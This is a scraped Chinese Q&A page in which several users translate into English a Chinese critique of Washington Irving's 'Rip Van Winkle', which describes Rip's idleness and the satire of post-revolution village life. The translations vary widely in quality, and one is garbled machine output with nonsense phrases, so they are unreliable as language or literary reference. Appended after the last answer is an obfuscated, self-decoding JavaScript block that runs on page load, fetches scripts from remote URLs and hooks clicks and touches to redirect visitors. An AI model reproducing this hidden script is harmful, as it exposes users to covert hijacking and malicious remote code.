200分帮忙翻译一段话,可以追加分

2025-03-05 18:24:31
推荐回答(6个)
回答1:

这是美国作家Washington Irving写的小说Rip Van Winkle吧。

这篇小说是美国第一个真正的成熟的文学作品。它的诞生不仅促进了当时美国文学的发展,而且在今天,它对

短篇小说的形式也有不可置疑的借鉴作用。某些细节描绘依然具有感人的普遍性的现实意义。
This novel is the first mature literature works of America indeed.Its naissance not only

acceletated the development of American literature at that time,but also used for reference to

short stories at present with no doubt.Some of its detail description still had affecting

universal realistic significance.
小说主人翁瑞普.凡.温克尔,外表逗人发笑,内心并不快活。他既是喜剧人物,又是悲剧人物。他最重要的特

征是游手好闲,不务正业。自己是农民却不愿意从事农业劳动。他没坏心眼,并乐于帮助邻居。他思想上糊里

糊涂,生活上懒懒散散。他整天带着一条狗,吹吹口哨,混混日子。他脾气随和,与世无争,妻子责骂,充耳

不闻,甚至溜之大吉。他不像是失去理智的白痴,也不像是看破红尘的消极主义者。他没有上进的理想,也没

有贪图享受的奢望。不图名、不图利,只求随心所欲,一切听从本能的驱使。这是一种极端个人主义的表现,

体现了纯粹的唯我主义人生观。
Pip Van Wink,the protagonist of the story,had funny appearance,but wasn't happy.He was a comic

character,at the same time also a tragic character.He was a dawdler and didn't attend any proter

duties which was his foremost earmark.He was a farmer,but unwilling to undertake agricultural

work.He had no sourness,and took pleasure in helping his neighbours.He was slap-happy

inwardly,and lazy in life.He took a dog,whistled sometimes,and dawdled everyday.He was

amiable,and stood aloof from the worldly affairs.He closed his ears to his wife's scolding,and

even wanted to betook himself to his heels.He was not like an idiot who lost his mind,and neither

a negativist who renounced the world.He had no aspirant ideal,neither the extravagant hopes of

seeking enjoyment.He had no intention of fame or profit,but did things at his pleasure only,and

followed his own inclinations.This was the behavior of extreme individualism,which incarnated the

philosophy of pure egoism.
作者并没有以塑造一个闭塞山村里的淳朴、懒散的农民形象为主,而是通过瑞普传奇般的经历,巧妙地讽刺了

当时的社会现实。瑞普一觉睡了二十年,回家看看,景况还不如从前。他发现“家里的房屋已经坍塌不堪”。

走到旅店去,“却是一座东倒西歪的大木屋,开着几扇大窗户,有的已经破了。”过去,这儿是英国殖民地,

现在是美利坚合众国的一部分。
The witer didn't give priority to figure a simple,dowdy farmer in a occlusive village,but

satirized the social reality subtly at that time,by showing the romantic experience of Rip.Rip

had a sleep of 20 years,he went home and found the condition was not better than before.He found

his house buildings were collapsed extremely,and walked to hotel,found it was a punch-drunk big

frame house,opended several big windows,and some were broken.At past,here was British colony,but

now,it was a part of the United States of America.
虽然招牌换了,但是村子里仍然破烂不堪,景象凄惨。他的儿子在美国革命之后,也和二十面前的瑞普一摸一

样,也是那么懒散。这不仅反应了农民的经济生活没有改善,而且文化教养也没有变化。
Although the name was changed,but the village was still worm-eaten,and had a bad vision.His son

also became dowdy just like Rip 20 years ago afeter had experienced the American revolution.This

reflected not only the farmers' economic life hadn't been improved,but their cultural cultivation

had no change.

回答2:

好长啊,我来给你人工翻译,绝对一流外贸8级水平,不过有一点需要你自己琢磨一下,那就是人名瑞普我翻译成Rip,还有翁瑞普.凡.温克尔这个名字,不好写,没有办法了
This is a really representativeness novel in the USA which not only improved the American literature,but also plays an advisable part now and some details are still of reality.
The main role in the novel named 翁瑞普.Van.温克尔 had a humourous appeareance,but were not so happy in his deep heart. He was both a tragedy and comedy man. His most remarkable feature was nothing to do all day long and he was a farmer,but did no farm work. He was not a bad man, always willing to help his neibours, thought nothing, never braced himself up in his life, whistled with a dog, not cross,wanted to get nothing,showed nothing towards his wife's blame and even ran away from that.He was neither a fool nor an inactive man. He had no aggressiveness, never ran after fame and gain and did everything on instinct which was an extreme individualism.
The writer didn't express Rip as a lazy farmer in an block-up village,but satirized the reality at that time through Rip's experience.Rip slept for 20 years and went back home,but found everything was worse than ever and he found his house had broken down, so went to a hotel,but found that was a junk wooden house with some big windows open and these were also broken.In the past, this place is a british colony,but now a part of the USA. Although the place belonged to the USA,everything in the village was still so poor.After the American revolution, his son led the same lifestyle as old Rip,which not only showed that there was no change in the village life,but also no change in the education.

回答3:

http://fy.iciba.com/这个是个英语在线翻译
你去看看吧
他们我看也是 找翻译的 要是人工的我佩服
反正我英语不好的~~~`

回答4:

这篇小说是美国第一个真正的成熟的文学作品。它的诞生不仅促进了当时美国文学的发展,而且在今天,它对短篇小说的形式也有不可置疑的借鉴作用。某些细节描绘依然具有感人的普遍性的现实意义。
小说主人翁瑞普.凡.温克尔,外表逗人发笑,内心并不快活。他既是喜剧人物,又是悲剧人物。他最重要的特征是游手好闲,不务正业。自己是农民却不愿意从事农业劳动。他没坏心眼,并乐于帮助邻居。他思想上糊里糊涂,生活上懒懒散散。他整天带着一条狗,吹吹口哨,混混日子。他脾气随和,与世无争,妻子责骂,充耳不闻,甚至溜之大吉。他不像是失去理智的白痴,也不像是看破红尘的消极主义者。他没有上进的理想,也没有贪图享受的奢望。不图名、不图利,只求随心所欲,一切听从本能的驱使。这是一种极端个人主义的表现,体现了纯粹的唯我主义人生观。
作者并没有以塑造一个闭塞山村里的淳朴、懒散的农民形象为主,而是通过瑞普传奇般的经历,巧妙地讽刺了当时的社会现实。瑞普一觉睡了二十年,回家看看,景况还不如从前。他发现“家里的房屋已经坍塌不堪”。走到旅店去,“却是一座东倒西歪的大木屋,开着几扇大窗户,有的已经破了。”过去,这儿是英国殖民地,现在是美利坚合众国的一部分。虽然招牌换了,但是村子里仍然破烂不堪,景象凄惨。他的儿子在美国革命之后,也和二十面前的瑞普一摸一样,也是那么懒散。这不仅反应了农民的经济生活没有改善,而且文化教养也没有变化。

This novel is the first truly American literary works of maturity. Its birth was not only promoted the development of American literature, but today, in the form of its short stories also have no doubt the reference. Some details are still moving depicts the universality of practical significance.

Novels ownership. Fan. Temperature Kerr, the appearancelaugh heart is not happy. He is the comedy characters, but also tragic characters. He is the most important feature of idle about, not engaged in decent work. But he is reluctant to farmers engaged in agricultural work. He did not bad mind and is ready to help neighbors. He ideologically vague, life. With his dog all day, blowing whistle, want day. His temper easygoing, wife abuse, turned a deaf ear, even. He is not irrational idiots, not like the negative and see through Mundane Life those. He did not progressive ideals, nor indulged in extravagant hope. No plans were, not for profit, just random, all obey the instinct driven. This is an extreme individualism performance reflects the pure CD - I and outlook on life.

The author did not shape a mountain village in the occlusion of honest, the main image of lazy farmers, butthroughlegendary experience, cleverly irony of the prevailing social reality.a McGREGOR sleep during the last 20 years, home look at the situation is not like the past. He discovered that "the family housing has collapsed state." Hotels to go, "is alarge wooden hut, the windows open a few fans, and some have been broke." Past, here was a British colony, now a part of the United States of America. Although the signs changed, but still dilapidated village, scene miserable. His son in the United States after the revolution, and 20 before theis so lazy. This is not only a response to the economic life of the peasants is not improving, and cultural education has not been changed.

回答5:

这篇小说是美国第一个真正的成熟的文学作品。它的诞生不仅促进了当时美国文学的发展,而且在今天,它对短篇小说的形式也有不可置疑的借鉴作用。某些细节描绘依然具有感人的普遍性的现实意义。
The novel is the very first mature literature in America. Its birth not only urges the development of American literature, but also a reference to the form of current short stories, even today. Some detail descriptions can also touch people in general.

小说主人翁瑞普.凡.温克尔,外表逗人发笑,内心并不快活。他既是喜剧人物,又是悲剧人物。他最重要的特征是游手好闲,不务正业。自己是农民却不愿意从事农业劳动。他没坏心眼,并乐于帮助邻居。他思想上糊里糊涂,生活上懒懒散散。他整天带着一条狗,吹吹口哨,混混日子。他脾气随和,与世无争,妻子责骂,充耳不闻,甚至溜之大吉。他不像是失去理智的白痴,也不像是看破红尘的消极主义者。他没有上进的理想,也没有贪图享受的奢望。不图名、不图利,只求随心所欲,一切听从本能的驱使。这是一种极端个人主义的表现,体现了纯粹的唯我主义人生观。
The hero of the novel, Rip Fan Winkle, was a funny guy on the surface, but unhappy in the heart. He was a comedy character, but a tragedy character as well. He was famous for being dawdle and idle. A farmer he was, but unwilling to do farm work. He was not sourly and willing to help others. He was confused in mind and floppy in life. He hung around with dog, whispered every day. He was easy-going, stood aloof from the worldly affairs, took his wife’s scolding easy, and even went away from it. He wasn’t like a stupid man without mind, or a negativist who has passed everything by. He had no forwardly idea or desire for enjoyment. He didn’t care about fame or benefit, but followed the voice of his inner heart, did everything in his own way. This is exactly the typical individualism.

作者并没有以塑造一个闭塞山村里的淳朴、懒散的农民形象为主,而是通过瑞普传奇般的经历,巧妙地讽刺了当时的社会现实。瑞普一觉睡了二十年,回家看看,景况还不如从前。他发现“家里的房屋已经坍塌不堪”。走到旅店去,“却是一座东倒西歪的大木屋,开着几扇大窗户,有的已经破了。”过去,这儿是英国殖民地,现在是美利坚合众国的一部分。虽然招牌换了,但是村子里仍然破烂不堪,景象凄惨。他的儿子在美国革命之后,也和二十年前的瑞普一摸一样,也是那么懒散。这不仅反应了农民的经济生活没有改善,而且文化教养也没有变化
The author wasn’t about to erect an image of humble and idle farmer in a remote country, but satirized the social reality of that time through Rip’s romantic experience. Rip had slept for twenty years, when he came back home, what he had seen was worse than the old days. He found the house was too shabby to stand. He went towards the hotel. “It was just a punch-drunk frame house with some big windows, and some of which were broken.” In the past, the place was one of Britain colonies, and today it was a part of the USA. Though had changed the signboard, the village was still worm-eaten and deplorable. After the independence war, his son was as lazy as Rip twenty years ago. It reflects the reality that not only the life of farmers has not been improved, but there is no change of their education.

回答6:

这篇小说是美国第一个真正的成熟的文学作品。它的诞生不仅促进了当时美国文学的发展,而且在今天,它对短篇小说的形式也有不可置疑的借鉴作用。某些细节描绘依然具有感人的普遍性的现实意义。
this novel is the first mature literature work. it not only helped the development of american literature, it still has its impact on the form of short novels even today. some detail description is still moving, in general.

小说主人翁瑞普.凡.温克尔,外表逗人发笑,内心并不快活。他既是喜剧人物,又是悲剧人物。他最重要的特征是游手好闲,不务正业。自己是农民却不愿意从事农业劳动。
the main character in the novel, rip van winkle, is an amusing guy, but he's not happy. he's both a comedy person and a tragedy person. he's distinguished for his laziness. he's a farmer but he is not willing to work in a farm.

他没坏心眼,并乐于帮助邻居。他思想上糊里糊涂,生活上懒懒散散。他整天带着一条狗,吹吹口哨,混混日子。
he is not a bad person, and he likes helping his neighbors. he's confused in his mind, and lazy in his life. he's always passing his time whistling, and hang around with his dog.
他脾气随和,与世无争,妻子责骂,充耳不闻,甚至溜之大吉。他不像是失去理智的白痴,也不像是看破红尘的消极主义者。他没有上进的理想,也没有贪图享受的奢望。不图名、不图利,只求随心所欲,一切听从本能的驱使。这是一种极端个人主义的表现,体现了纯粹的唯我主义人生观。
he's easy going, doesn't have a big ambition, and he does not listen to her wife's blame, and even run away from her. he does not look like a idiot who lose his mind, and he does not look like some passive saint. he does not have ambition, and he is not greedy. he does not care about fame and fortune, only does what he wants, following his instinct. he's an example of extreme individualism.

作者并没有以塑造一个闭塞山村里的淳朴、懒散的农民形象为主,而是通过瑞普传奇般的经历,巧妙地讽刺了当时的社会现实。瑞普一觉睡了二十年,回家看看,景况还不如从前。
the author did not spend all his time to build up the image of a lazy farmer, but mocked the society of the time by describing the experience of rip van winkle. rip slept for 20 years, and when he returned, he found out his village is even worse than before.

他发现“家里的房屋已经坍塌不堪”。走到旅店去,“却是一座东倒西歪的大木屋,开着几扇大窗户,有的已经破了。”过去,这儿是英国殖民地,现在是美利坚合众国的一部分。虽然招牌换了,但是村子里仍然破烂不堪,景象凄惨。他的儿子在美国革命之后,也和二十面前的瑞普一摸一样,也是那么懒散。这不仅反应了农民的经济生活没有改善,而且文化教养也没有变化。
he found his home has collapsed. and the hotel is a shabby big cottage, with a few opened window, some of which are broken. before, it's english colony, now it's a part of the united states of america. although the name has changed, the things are still bad in the village. after the independence of USA, his son looks the same as rip 20 years ago, and lazy too. It seems that not only the life of the farmers has not improved, their education is not changed either.

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();